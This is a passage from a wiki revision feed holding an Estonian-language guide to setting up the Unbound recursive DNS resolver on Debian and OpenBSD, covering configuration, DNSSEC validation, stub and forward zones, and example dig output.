DNS_ROOT_KEY_FILE=&amp;quot;/usr/share/dns/root.key&amp;quot;&lt;br /&gt;
ROOT_TRUST_ANCHOR_FILE=&amp;quot;/var/lib/unbound/root.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Override these variables by editing or creating /etc/default/unbound.&lt;br /&gt;
RESOLVCONF=&amp;quot;true&amp;quot;&lt;br /&gt;
ROOT_TRUST_ANCHOR_UPDATE=&amp;quot;true&amp;quot;&lt;br /&gt;
&lt;br /&gt;
if [ -f /etc/default/unbound ]; then&lt;br /&gt;
    . /etc/default/unbound&lt;br /&gt;
&lt;br /&gt;
    case &amp;quot;x$RESOLVCONF&amp;quot; in xfalse|x0|xno)&lt;br /&gt;
        RESOLVCONF=&amp;quot;false&amp;quot;&lt;br /&gt;
        ;;&lt;br /&gt;
    esac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
t&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
server:&lt;br /&gt;
    interface: 127.0.0.1&lt;br /&gt;
    port: 53&lt;br /&gt;
    do-ip4: yes&lt;br /&gt;
    do-ip6: no&lt;br /&gt;
&lt;br /&gt;
    access-control: 127.0.0.1/32 allow&lt;br /&gt;
    module-config: &amp;quot;iterator&amp;quot;&lt;br /&gt;
    verbosity: 1&lt;br /&gt;
    use-syslog: yes&lt;br /&gt;
    log-queries: yes&lt;br /&gt;
&lt;br /&gt;
stub-zone:&lt;br /&gt;
  name: &amp;quot;xxx.ee&amp;quot;&lt;br /&gt;
  stub-addr: 192.168.1.111&lt;br /&gt;
&lt;br /&gt;
forward-zone:&lt;br /&gt;
  name: &amp;quot;.&amp;quot;&lt;br /&gt;
  forward-addr: 10.0.9.4&lt;br /&gt;
  forward-addr: 10.0.9.5&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* http://unbound.net/&lt;br /&gt;
* http://unbound.nlnetlabs.nl/pipermail/unbound-users/&lt;br /&gt;
* http://www.howtoforge.com/installing-using-unbound-nameserver-on-debian-etch&lt;br /&gt;
* http://www.nlnetlabs.nl/publications/dnssec_howto/index.html&lt;br /&gt;
* http://secspider.cs.ucla.edu/islands.html&lt;br /&gt;
* https://itar.iana.org/&lt;br /&gt;
* https://ns.iana.org/dnssec/status.html&lt;br /&gt;
* https://dlv.isc.org/&lt;br /&gt;
* http://en.wikipedia.org/wiki/AS112&lt;br /&gt;
* [[:Pädeva nimeserveri NSD kasutamine]]&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Rekursiivse_resolveri_Unbound_kasutamine_operatsioonis%C3%BCsteemiga_Debian&amp;diff=4244</id>
		<title>Rekursiivse resolveri Unbound kasutamine operatsioonisüsteemiga Debian</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Rekursiivse_resolveri_Unbound_kasutamine_operatsioonis%C3%BCsteemiga_Debian&amp;diff=4244"/>
		<updated>2026-06-17T21:12:46Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* 2026 kevad märkused */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Kategooria:Interneti domeeninimede süsteem]]&lt;br /&gt;
===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
Üks võimalus liigitada nimeservereid või nimeserverite tarkvara on selle järgi, millised päringuid teenindatakse&lt;br /&gt;
&lt;br /&gt;
* pädev ehk autoriteetne (ingl. k. authoritative) - vastab päringutele ainult nimeserveri tsoonifailis kirjeldatud andmete alusel; autoriteetsed nimeserverid teenindavad reeglina resolverite päringuid&lt;br /&gt;
* rekursiivne (ingl. k. recursive) - rekursiivne nimeserver ei sisalda nö oma tsoonifaili, st ta ei ole mingite vastuste osas autoriteetne; rekursiivne nimeserver teenindab mingi piiratud hulga klientide päringuid lahendades neid autoriteetsete nimeserverite abil ja seetõttu nimetatakse rekursiivset nimeserverit tihti resolveriks (ingl. k. to resolve - lahendama)&lt;br /&gt;
&lt;br /&gt;
Unbound http://www.unbound.net/ resolveril on selliseid omadused&lt;br /&gt;
&lt;br /&gt;
* rekursiivne - lahendab nö lõppkasutaja esitatud päringuid, nt sobib seadistada töökohaarvuti nimeserveriks&lt;br /&gt;
* vaheladustav (ingl. k. caching) - Unbound peab kord lahendatud vastust mõnda aega meeles, mis tähendab, et järgmisele samale päringule vastab ta kliendile kohe ja ei pea omakorda pöörduma vastuse saamiseks autoriteetsete nimeserverite poole&lt;br /&gt;
* valideeriv - toetab DNSSEC kasutamist&lt;br /&gt;
* IPv6 tugi&lt;br /&gt;
&lt;br /&gt;
Rekursiivse resolveri vastutus on parimal võimalikul moel anda kliendi esitatud päringule vastus, seejuures&lt;br /&gt;
&lt;br /&gt;
* kasutada vastuse koostamisel mitmete pädevate nimeserverite abi&lt;br /&gt;
* anda õige vastus - nt mitte ennast lasta eksitada cache poisoning tehnikatest, võimalusel kasutada DNSSEC vahendeid&lt;br /&gt;
* vastata kiiresti&lt;br /&gt;
&lt;br /&gt;
===Unbound paigaldamine===&lt;br /&gt;
&lt;br /&gt;
2011 aastal leidub paljude operatsioonisüsteemide paketihalduses Unbound tarkvara. &lt;br /&gt;
&lt;br /&gt;
====Debian====&lt;br /&gt;
&lt;br /&gt;
Debian Squeeze sisaldab versiooni 1.4.6 ja paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install unbound&lt;br /&gt;
&lt;br /&gt;
====OpenBSD====&lt;br /&gt;
&lt;br /&gt;
OpenBSD 5.4 sisaldab binaarse paketina versiooni 1.4.9 ja paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pkg_add unbound      &lt;br /&gt;
 unbound-1.4.20:libldns-1.6.16p0: ok                                                                                                        &lt;br /&gt;
 useradd: Warning: home directory `/var/unbound' doesn't exist, and -m was not specified                                                    &lt;br /&gt;
 unbound-1.4.20: ok                                                                                                                         &lt;br /&gt;
 The following new rcscripts were installed: /etc/rc.d/unbound&lt;br /&gt;
 See rc.d(8) for details.&lt;br /&gt;
 --- +unbound-1.4.20 -------------------&lt;br /&gt;
 You should add:&lt;br /&gt;
 &lt;br /&gt;
     syslogd_flags=&amp;quot;${syslogd_flags} -a /var/unbound/dev/log&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 to /etc/rc.conf.local to create a syslog socket in the unbound chroot.&lt;br /&gt;
&lt;br /&gt;
Selleks, et /etc/rc.d/unbound skript töötaks, peab olema seadistatud unbound-control (127.0.0.1 pealt).&lt;br /&gt;
&lt;br /&gt;
===Unbound seadistamine===&lt;br /&gt;
&lt;br /&gt;
Resolveri seadistusfailis tuleb näidata muu hulgas&lt;br /&gt;
&lt;br /&gt;
* juurnimeserverite aadressid&lt;br /&gt;
* millisel aadressil resolver päringuid teenindab&lt;br /&gt;
* millised kliendid saavad resolverit kasutada, tavaliselt kliendi src ip aadressi täpsusega&lt;br /&gt;
&lt;br /&gt;
Unbound tööd juhib seadistusfail unbound.conf&lt;br /&gt;
&lt;br /&gt;
* /etc/unbound/unbound.conf - Debian&lt;br /&gt;
* /var/unbound/etc/unbound.conf - OpenBSD&lt;br /&gt;
&lt;br /&gt;
Lihtsamal juhul võib kasutada nt sellise sisuga seadistusfaili&lt;br /&gt;
&lt;br /&gt;
  server:&lt;br /&gt;
     interface: 192.168.10.190&lt;br /&gt;
     outgoing-interface: 192.168.10.190&lt;br /&gt;
     access-control: 192.168.1.0/24 allow&lt;br /&gt;
     access-control: 192.168.10.0/24 allow_snoop&lt;br /&gt;
     root-hints: &amp;quot;/var/unbound/etc/named.cache&amp;quot;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* interface - millisel aadressil arvuti Unbound resolveri kliente teenindab&lt;br /&gt;
* outgoing-interface - milliselt aadressilt resolveri päringud autoriteetsetele nimeserveritele väljuvad&lt;br /&gt;
* access-control - millistelt ip aadressidelt saab Unbound resolverit kasutada; allow lubab esitada ainult rekursiivseid päringuid, nt +norec annab vaikimisi refused vastuse&lt;br /&gt;
&lt;br /&gt;
 $ dig +norec @nimeserver domeeni.nimi&lt;br /&gt;
 ...&lt;br /&gt;
 ;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: REFUSED, id: 52133&lt;br /&gt;
&lt;br /&gt;
allow_snoop lubab mõlemaid (viimane on vajalik, et unbound kasutaja saaks öelda&lt;br /&gt;
&lt;br /&gt;
 $ dig +trace @nimeserver domeeni.nimi&lt;br /&gt;
&lt;br /&gt;
* root-hints - resolver peab alati teadma interneti juurnimeserverite aadresse&lt;br /&gt;
&lt;br /&gt;
Juurnimeserverite aadresse saab küsida mõnes juba seadistatud resolveriga arvutis&lt;br /&gt;
&lt;br /&gt;
  $ dig . ns&lt;br /&gt;
&lt;br /&gt;
või kopeerida aadressilt Linuxis&lt;br /&gt;
&lt;br /&gt;
  $ wget ftp://FTP.INTERNIC.NET/domain/named.cache&lt;br /&gt;
&lt;br /&gt;
OpenBSD keskkonnas&lt;br /&gt;
&lt;br /&gt;
  $ ftp ftp://FTP.INTERNIC.NET/domain/named.cache&lt;br /&gt;
&lt;br /&gt;
===Unbound käivitamine===&lt;br /&gt;
&lt;br /&gt;
Unbound resolver teenindab päringuid portidel 53/udp ja 53/tcp.&lt;br /&gt;
&lt;br /&gt;
====Debian====&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # /etc/init.d/unbound start | stop&lt;br /&gt;
&lt;br /&gt;
====OpenBSD====&lt;br /&gt;
&lt;br /&gt;
Selleks, et Unbound töötaks OpenBSD all chroot keskkonnas kataloogis /var/unbound kasutajana _unbound tuleb kasutada seadistusfailis rida&lt;br /&gt;
&lt;br /&gt;
 chroot: &amp;quot;/var/unbound&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Et chroot keskkonnas töötav Unbound saaks logida syslog'i tuleb syslog käivitamisel lisaks kasutada '-a /var/unbound/dev/log'&lt;br /&gt;
&lt;br /&gt;
  # syslogd -a /var/www/dev/log -a /var/empty/dev/log -a /var/unbound/dev/log&lt;br /&gt;
&lt;br /&gt;
/etc/rc.conf.local failis sobib kasutada rida&lt;br /&gt;
&lt;br /&gt;
  syslogd_flags=&amp;quot;${syslogd_flags} -a /var/unbound/dev/log&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2012 kevadel ütleb OpenBSD v. 5.1 paketihalduse unbound chroot kasutamisel kävitamisel nii&lt;br /&gt;
&lt;br /&gt;
 # unbound -dv                             &lt;br /&gt;
 [1335943357] unbound[20534:0] notice: Start of unbound 1.4.15.&lt;br /&gt;
 [1335943357] unbound[20534:0] warning: increased limit(open files) from 128 to 4140&lt;br /&gt;
 [1335943357] unbound[20534:0] warning: unable to setusercontext _unbound: Bad file descriptor&lt;br /&gt;
&lt;br /&gt;
Limiitide tuleb töötada sarnaselt nagu on kirjeldatud aadressil http://www.auul.pri.ee/wiki/Operatsioonis%C3%BCsteemi_OpenBSD_kasutamine#Login_class_kasutamine.&lt;br /&gt;
&lt;br /&gt;
Tavalisel viisil sobib kasutada käivitusskripti&lt;br /&gt;
&lt;br /&gt;
  # /etc/rc.d/unbound start | stop&lt;br /&gt;
&lt;br /&gt;
Vastasel korral on logis midagi sellist&lt;br /&gt;
&lt;br /&gt;
 Mar 13 16:03:01 unbound[28759:0] error: can't create socket: Too many open files&lt;br /&gt;
&lt;br /&gt;
===Unbound kasutamine===&lt;br /&gt;
&lt;br /&gt;
Unbound resolveri kasutajateks on tavaliselt arvutid, mis vajavad nimelahendust, nt kohtvõrgu arvutid, eposti serverid jt kusjuures Unbound protsess töötab selleks ettenähtud arvutis või võrgusõlmeks olevas seadmes&lt;br /&gt;
&lt;br /&gt;
      internet&lt;br /&gt;
        ...&lt;br /&gt;
         |&lt;br /&gt;
        _|_&lt;br /&gt;
       |   | OpenBSD võrgusõlm&lt;br /&gt;
       |___| Unbound protsess&lt;br /&gt;
         |&lt;br /&gt;
   --|---|----------|-----------|--&lt;br /&gt;
     |              |           |&lt;br /&gt;
 &lt;br /&gt;
          dns kliendid (töökohaarvuti, serverid)&lt;br /&gt;
&lt;br /&gt;
Linux keskkonnas sobib näidata nimeserveri aadress staatiliselt arvuti /etc/resolv.conf failis nt reaga&lt;br /&gt;
&lt;br /&gt;
  nameserver 192.168.10.190&lt;br /&gt;
&lt;br /&gt;
Unbound resolveri tööd saab kontrollida nt öeldes mõnes arvutis, kus peab kõnealust resolverit saama kasutada&lt;br /&gt;
&lt;br /&gt;
  $ dig @192.168.10.190 kuutorvaja.eenet.ee a&lt;br /&gt;
&lt;br /&gt;
ja vastus peaks sisaldama sarnaseid ridu rida&lt;br /&gt;
&lt;br /&gt;
  ...&lt;br /&gt;
  ;; QUESTION SECTION:&lt;br /&gt;
  ;kuutorvaja.eenet.ee.           IN      A&lt;br /&gt;
  &lt;br /&gt;
  ;; ANSWER SECTION:&lt;br /&gt;
  kuutorvaja.eenet.ee.    83840   IN      A       193.40.0.7&lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
===Nimepäringu vastuse valideerimine===&lt;br /&gt;
&lt;br /&gt;
Nimepäringute vastuste valideerimiseks kasutatakse üldiselt DNSSEC tehnikat. 2011 aastal on selleks mitmeid võimalusi, kaks populaarsemat on&lt;br /&gt;
&lt;br /&gt;
* signeeritud tsoonifailidega juurnimeserverite kasutamine, kõige loomulikum viis&lt;br /&gt;
* DLV (DNSSEC Look-aside Validation) - üleminekuaja häkk&lt;br /&gt;
&lt;br /&gt;
Kui nimeteenust kasutatakse sarnaselt ülaltoodud skeemile, siis peab arvestama, et DNSSEC kontroll toimub Unbound protsessi juures, sealt edasi kliendini liigub vastus tavalise avateksina üle kohtvõrgu ja klient otsustab vastuse turvalisuse üle ad biti järgi vastuses. Seetõttu on reeglina soovitav, et Unbound töötaks nimeteenust kasutatavatele arvutitele võimalikult lähedal.&lt;br /&gt;
&lt;br /&gt;
DNSSEC juurutamise kronoloogia&lt;br /&gt;
&lt;br /&gt;
* 15. juuli 2010 - juurnimeserverid kasutavad signeeritud tsoone http://www.root-dnssec.org/&lt;br /&gt;
* ? - .org tsoon on signeeritud&lt;br /&gt;
* 31. märts 2011 - .com tsoon on signeeritud http://www.theregister.co.uk/2011/04/01/dnssec_com_goes_live/&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://www.theregister.co.uk/2011/04/01/dnssec_com_goes_live/&lt;br /&gt;
* http://blogs.pcmag.com/securitywatch/2011/03/dnssec_in_com_domain_is_a_good.php&lt;br /&gt;
&lt;br /&gt;
====Signeeritud tsoonifailiga juurnimeserverite kasutamine====&lt;br /&gt;
&lt;br /&gt;
Unbound seadistamiseks tuleb kasutada seadistusfailis rida&lt;br /&gt;
&lt;br /&gt;
 auto-trust-anchor-file: &amp;quot;root.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
kusjuures fail peab olema unbound protsessile kirjutatav ning esialgselt sisaldama rida (as per http://unbound.net/documentation/howto_anchor.html)&lt;br /&gt;
&lt;br /&gt;
 # cat /var/unbound/etc/root.key&lt;br /&gt;
 . IN DS 19036 8 2 49AAC11D7B6F6446702E54A1607371607A1A41855200FD2CE1CDDE32F24E8FB5&lt;br /&gt;
&lt;br /&gt;
 # chown _unbound /var/unbound/etc&lt;br /&gt;
 # chown _unbound:_unbound /var/unbound/etc/root.key&lt;br /&gt;
&lt;br /&gt;
Peale unbound protsessi käivitamist selle faili sisu muutub automaatselt.&lt;br /&gt;
&lt;br /&gt;
Kontrollimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ dig . ns +dnssec +multiline&lt;br /&gt;
 &lt;br /&gt;
 ; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.7.2-P3 &amp;lt;&amp;lt;&amp;gt;&amp;gt; . ns +dnssec +multiline&lt;br /&gt;
 ;; global options: +cmd&lt;br /&gt;
 ;; Got answer:&lt;br /&gt;
 ;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 4737&lt;br /&gt;
 ;; flags: qr rd ra ad; QUERY: 1, ANSWER: 14, AUTHORITY: 0, ADDITIONAL: 1&lt;br /&gt;
 &lt;br /&gt;
 ;; OPT PSEUDOSECTION:&lt;br /&gt;
 ; EDNS: version: 0, flags: do; udp: 4096&lt;br /&gt;
 ;; QUESTION SECTION:&lt;br /&gt;
 ;.                      IN NS&lt;br /&gt;
 &lt;br /&gt;
 ;; ANSWER SECTION:&lt;br /&gt;
 .                       518267 IN NS m.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS g.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS b.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS h.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS a.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS e.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS k.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS f.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS c.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS j.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS i.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS l.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS d.root-servers.net.&lt;br /&gt;
 .                       518267 IN RRSIG NS 8 0 518400 20110409000000 (&lt;br /&gt;
                                 20110401230000 34525 .&lt;br /&gt;
                                 De4SFgTDwpgbz1JjTlaPzu7ZNRURLSnoYmQQQIZq7Gny&lt;br /&gt;
                                 RghOrsvS1soH5F43Gxr5BIi+422EBLJIrEHFnbvLy22S&lt;br /&gt;
                                 LqKtSw67eDdsBZyjE5fTtDHyYhnoR8YQWswgGVMRk4Ek&lt;br /&gt;
                                 iDDMIOk5pF+CvbML6TlvTWrnPCwNWXnbLFnT9SY= )&lt;br /&gt;
 &lt;br /&gt;
 ;; Query time: 0 msec&lt;br /&gt;
 ;; SERVER: 10.192.0.53#53(10.192.0.53)&lt;br /&gt;
 ;; WHEN: Sat Apr  2 18:44:16 2011&lt;br /&gt;
 ;; MSG SIZE  rcvd: 397&lt;br /&gt;
&lt;br /&gt;
kus tuleb tähele panna&lt;br /&gt;
&lt;br /&gt;
* vastus sisaldab RRSIG kirjet&lt;br /&gt;
* flags: qr rd ra ad - ad tähistab, et tegu on authoritative data sisaldusega&lt;br /&gt;
&lt;br /&gt;
====DLV====&lt;br /&gt;
&lt;br /&gt;
DLV seadistamiseks tuleb &lt;br /&gt;
&lt;br /&gt;
* kopeerida trust anchor fail kataloogi /var/unbound/etc&lt;br /&gt;
&lt;br /&gt;
  # cd /var/unbound/etc&lt;br /&gt;
  # ftp http://ftp.isc.org/www/dlv/dlv.isc.org.key&lt;br /&gt;
&lt;br /&gt;
* Unbound seadistusfailis kasutada rida&lt;br /&gt;
&lt;br /&gt;
  dlv-anchor-file: &amp;quot;dlv.isc.org.key&lt;br /&gt;
&lt;br /&gt;
Valideeritud nimepäringu vastus näeb välja nt selline&lt;br /&gt;
&lt;br /&gt;
  $ dig www.kaminskybug.se a +dnssec +multiline&lt;br /&gt;
  &lt;br /&gt;
  ; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.5.1-P3 &amp;lt;&amp;lt;&amp;gt;&amp;gt; www.kaminskybug.se a +dnssec +multiline&lt;br /&gt;
  ;; global options:  printcmd&lt;br /&gt;
  ;; Got answer:&lt;br /&gt;
  ;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 56069&lt;br /&gt;
  ;; flags: qr rd ra ad; QUERY: 1, ANSWER: 4, AUTHORITY: 4, ADDITIONAL: 1&lt;br /&gt;
  &lt;br /&gt;
  ;; OPT PSEUDOSECTION:&lt;br /&gt;
  ; EDNS: version: 0, flags: do; udp: 4096&lt;br /&gt;
  ;; QUESTION SECTION:&lt;br /&gt;
  ;www.kaminskybug.se.    IN A&lt;br /&gt;
  &lt;br /&gt;
  ;; ANSWER SECTION:&lt;br /&gt;
  www.kaminskybug.se.     3590 IN CNAME fou.iis.se.&lt;br /&gt;
  www.kaminskybug.se.     3590 IN RRSIG CNAME 5 3 3600 20100205210001 (&lt;br /&gt;
                                  20100126210001 13358 kaminskybug.se.&lt;br /&gt;
                                  goEav1vWK49WEvGY/G1EBKOgekQk11JvjsQxE7chH6Kg&lt;br /&gt;
                                  OwZNpOXwomE1z9zvLcwkD60CQAZWC9psA1z01iIwtOrt&lt;br /&gt;
                                  Yq6L+2A0PLVAAuRYeY3CQnbHoHRYClCUz0dIkxhtz9f/&lt;br /&gt;
                                  Um1AuC3FtqV6t9q8lLb4ooav0Ex64KuwoPPxqqs= )&lt;br /&gt;
  fou.iis.se.             3590 IN A 212.247.204.242&lt;br /&gt;
  fou.iis.se.             3590 IN RRSIG A 5 3 3600 20100209131501 (&lt;br /&gt;
                                  20100130131501 56315 iis.se.&lt;br /&gt;
                                  BOPpSETDBKu6CjOcz2ULnOnfRVoXfOXj9OjW4zwjPuWl&lt;br /&gt;
                                  7vJ8630yXsuSEe89RuH/ZsuOGbeJnumQ/XmD6ftWL9yM&lt;br /&gt;
                                  MPUF1ZYxCtExaBcIxhxDIFJv4E4RZAOkbb9ZdYKTglIL&lt;br /&gt;
                                  zDleOOms0iVgCAnnWJSnmDpzhfvr8xoTGlh7myE= )&lt;br /&gt;
  &lt;br /&gt;
  ;; AUTHORITY SECTION:&lt;br /&gt;
  iis.se.                 3590 IN NS ns.nic.se.&lt;br /&gt;
  iis.se.                 3590 IN NS ns3.nic.se.&lt;br /&gt;
  iis.se.                 3590 IN NS ns2.nic.se.&lt;br /&gt;
  iis.se.                 3590 IN RRSIG NS 5 2 3600 20100209131501 (&lt;br /&gt;
                                  20100130131501 56315 iis.se.&lt;br /&gt;
                                  B3SheLIv8ouVPpFGjvM8q5fl9ZMnnPWR8x9QDD0uSxoH&lt;br /&gt;
                                  iV2fYHjiKC5a2+8Znsi4zSdO2AmH+reUCP74qvYpkl1K&lt;br /&gt;
                                  +NbEzndzzrJQ0XlT1icy3MC6vdvgdE7Opqjab/7iIiYV&lt;br /&gt;
                                  X9UjZpHKR284EljSrKJ0z53/T+12P3K0VU/dRFE= )&lt;br /&gt;
   &lt;br /&gt;
  ;; Query time: 1 msec&lt;br /&gt;
  ;; SERVER: 10.53.67.69#53(10.53.67.69)&lt;br /&gt;
  ;; WHEN: Sun Jan 31 00:25:39 2010&lt;br /&gt;
  ;; MSG SIZE  rcvd: 648&lt;br /&gt;
&lt;br /&gt;
kus ad lipp annab tunnistust, et vastus on valideeritud&lt;br /&gt;
&lt;br /&gt;
  flags: qr rd ra ad; QUERY: 1, ANSWER: 4, AUTHORITY: 4, ADDITIONAL: 1&lt;br /&gt;
&lt;br /&gt;
====Firefox DNSSEC lisa kasutamine====&lt;br /&gt;
&lt;br /&gt;
Firefox DNSSEC lisa https://addons.mozilla.org/en-us/firefox/addon/dnssec-validator/ abil saab brauseri kasutamise ajal tagasisidet kuidas käesolev nimi on lahendatud, nt&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Unbound-1.gif]]&lt;br /&gt;
&lt;br /&gt;
Seejuures tuleb arvestada, et DNSSEC iseenest tähendab, et nimi lahendes turvaliselt, järgneva andmevahetuse turvalisus on eraldi küsimus ja nt https:// on üks viis selle saavutamiseks.&lt;br /&gt;
&lt;br /&gt;
===domain-insecure tsoonid===&lt;br /&gt;
&lt;br /&gt;
Kui kasutatakse signeeritud tsoonifailiga juurnimeservereid ning mõnele lokaalsele mitte-dnssec nimeserverile viitavaid stub-zone sissekandeid, siis võib olla asjakohane kasutada lisaks ridu&lt;br /&gt;
&lt;br /&gt;
 domain-insecure: &amp;quot;auul&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;10.168.192.in-addr.arpa&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;1.168.192.in-addr.arpa&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
===Lokaalsed nimekirjeldused===&lt;br /&gt;
&lt;br /&gt;
Lisaks sellele, et Unboundi kasutab nimede lahendamisel võrgus töötavaid autoriteetseid nimeservereid, saab kirjeldada seadistusfailis päri- ja pöördteisendusi&lt;br /&gt;
&lt;br /&gt;
 local-zone: &amp;quot;loomaaed.tartu.ee&amp;quot; static&lt;br /&gt;
 local-data: &amp;quot;loomaaed.tartu.ee A 192.168.10.100&amp;quot;&lt;br /&gt;
 ..&lt;br /&gt;
 local-data-ptr: &amp;quot;192.168.10.100 loomaaed.tartu.ee&amp;quot;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* local-zone - lokaalselt unboundis kirjeldatud tsooni nimi&lt;br /&gt;
* static - sellel positsioonil st type parameeter määrab põhiliselt, kuidas mitte kirjeldatud nime küsimisele vastatakse&lt;br /&gt;
* local-data - päriteisendus&lt;br /&gt;
* local-data-prt - pöördteisendus&lt;br /&gt;
&lt;br /&gt;
type väärtused&lt;br /&gt;
&lt;br /&gt;
* static - local-data abil mitte kirjeldatud nime küsimisele vastatakse NXDOMAIN&lt;br /&gt;
* nodefault - AS112 tsoonide puhul vastab Unbound vaikimisi NXDOMAIN vastusega, nodefault puhul püütakse vastavaid nimesid lahendada&lt;br /&gt;
* transparent - local-data abil mitte kirjeldatud nimi püütakse lahenada internetist, stub-zone abil vms viisil&lt;br /&gt;
* redirect - kõik alamdomeenid vastatakse local-data abil näidatud väärtusega&lt;br /&gt;
&lt;br /&gt;
===Stub tsoon===&lt;br /&gt;
&lt;br /&gt;
Stub tsooni abil saab öelda, millist pädevat nimeserverit kasutada mõne domeeni nimelahenduseks. Praktiliselt võiks seda vaja minna kui asutuses on nt kasutusel mitte-avalik pädev nimeserver ja domeeni 'auul.' nimede lahendamiseks tuleks kasutada seda; vastasel korral püüaks Unbound neid nimesid lahendada pöördudes interneti juurnimeserverite poole.&lt;br /&gt;
&lt;br /&gt;
Seadistusfailis kirjeldatakse stub tsoon selliselt&lt;br /&gt;
&lt;br /&gt;
  stub-zone:&lt;br /&gt;
     name: &amp;quot;auul&amp;quot;&lt;br /&gt;
     stub-addr: 192.168.1.251&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* name - domeeni nimi&lt;br /&gt;
* stub-addr - domeeni pädeva nimeserveri ip aadress&lt;br /&gt;
* stub sõna viitab asjaolule, et Unbound saab näidatud nimeserverilt otse vastuse kätte&lt;br /&gt;
&lt;br /&gt;
Kui stub-zone abil on vaja teha mõne privaatsete aadressidega /24 subneti jaoks pöördteisendusi, siis tuleb tõenäoliselt kasutada koostöös selliseid direktiive&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 domain-insecure: &amp;quot;10.168.192.in-addr.arpa&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;1.168.192.in-addr.arpa&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
 &lt;br /&gt;
 local-zone: &amp;quot;1.168.192.in-addr.arpa.&amp;quot; transparent&lt;br /&gt;
 local-zone: &amp;quot;2.168.192.in-addr.arpa.&amp;quot; transparent&lt;br /&gt;
 ....&lt;br /&gt;
 &lt;br /&gt;
 stub-zone:&lt;br /&gt;
   name: &amp;quot;1.168.192.in-addr.arpa.&amp;quot;&lt;br /&gt;
   stub-addr: 192.168.1.247&lt;br /&gt;
 &lt;br /&gt;
 stub-zone:&lt;br /&gt;
  name: &amp;quot;10.168.192.in-addr.arpa.&amp;quot;&lt;br /&gt;
  stub-addr: 192.168.1.247&lt;br /&gt;
&lt;br /&gt;
Oluline on panna tähele, et korrektsel juhul lahendatakse kirjeldatud tsoonid stub-addr nimeserveri poolt, muud privaatsed aadressid saavad vastuseks (vastuse genereerib Unbound ise)&lt;br /&gt;
&lt;br /&gt;
 $ dig -x 192.168.5.5&lt;br /&gt;
 .. &lt;br /&gt;
 ;; OPT PSEUDOSECTION:&lt;br /&gt;
 ; EDNS: version: 0, flags:; udp: 1480&lt;br /&gt;
 ;; QUESTION SECTION:&lt;br /&gt;
 ;5.5.168.192.in-addr.arpa.      IN      PTR&lt;br /&gt;
 &lt;br /&gt;
 ;; AUTHORITY SECTION:&lt;br /&gt;
 168.192.in-addr.arpa.   10800   IN      SOA     localhost. nobody.invalid. 1 3600 1200 604800 10800&lt;br /&gt;
&lt;br /&gt;
Kui vastus on, siis midagi on valesti, sest Unbound on seda käinud internetis lahendamas&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 ;; QUESTION SECTION:&lt;br /&gt;
 ;5.5.168.192.in-addr.arpa.     IN      PTR&lt;br /&gt;
 &lt;br /&gt;
 ;; AUTHORITY SECTION:&lt;br /&gt;
 168.192.in-addr.arpa.   86400   IN      SOA     prisoner.iana.org. hostmaster.trex.fi. 1 604800 86400 2419200 86400&lt;br /&gt;
&lt;br /&gt;
===Forward tsoon===&lt;br /&gt;
&lt;br /&gt;
Forward tsooni abil saab öelda, millist rekursiivset nimeserverit kasutada mõne domeeni nimelahenduseks. Seadistusfailis kirjeldatakse forward tsoon selliselt&lt;br /&gt;
&lt;br /&gt;
 forward-zone:&lt;br /&gt;
   name: &amp;quot;loomla.tartu.ee&amp;quot;&lt;br /&gt;
   forward-addr: 10.172.20.10&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
